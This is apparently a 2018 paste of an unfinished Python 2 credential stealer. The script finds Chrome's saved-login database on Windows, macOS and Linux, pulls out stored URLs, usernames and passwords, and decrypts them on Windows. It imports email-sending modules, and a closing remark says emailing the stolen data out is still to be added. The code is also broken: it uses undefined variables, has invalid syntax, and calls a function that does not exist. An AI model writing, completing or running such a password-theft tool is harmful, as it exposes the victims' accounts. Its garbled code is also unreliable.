· 7 years ago · Oct 19, 2018, 05:54 PM
1import os,sys
2import sqlite3
3try:
4 import win32crypt
5except:
6 pass
7import argparse
8import smtplib
9from email.MIMEMultipart import MIMEMultipart
10from email.MIMEBase import MIMEBase
11from email.MIMEText import MIMEText
12from email import Encoders
13
14def main():
15 info_list = []
16 path = getpath()
17 try:
18 connection = sqlite3.connect(path + "Login Data")
19 with connection:
20 cursor = connection.cursor()
21 v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
22 value = v.fetchall()
23
24 for information in value:
25
26
27 if os.name == 'nt':
28 password = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1]
29 if password:
30 info_list.append({
31 'gmail.com': info[0],
32 'username': info[1],
33 'password': (str)passs
34 })
35
36
37
38 elif os.name == 'posix':
39 info_list.append({
40 'gmail.com': info[0],
41 'username': info[1],
42 'password': passs
43 })
44
45
46 return info_list
47
48def getpath():
49 if os.name == "nt":
50 PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
51 if (os.path.isdir(PathName) == False):
52 print '[!] chrome doesn\'t exists'
53 sys.exit(0)
54 elif ((os.name == "posix") and (sys.platform == "darwin")):
55 PathName = os.getenv('HOME') + "/Library/Application Support/Google/Chrome/Default/"
56 if (os.path.isdir(PathName) == False):
57 print '[!] chrome doesn\'t exists'
58 sys.exit(0)
59 elif (os.name == "posix"):
60 PathName = os.getenv('HOME') + '/.config/google-chrome/Default/'
61 if (os.path.isdir(PathName) == False):
62 print '[!] chrome doesn\'t exists'
63 sys.exit(0)
64
65 return PathName
66
67
68if __name__ == '__main__':
69
70 mail()
71
72nowhere near done, need to add on the email shiz just dont know how to do this one thing so ive posted about it on stackoverflow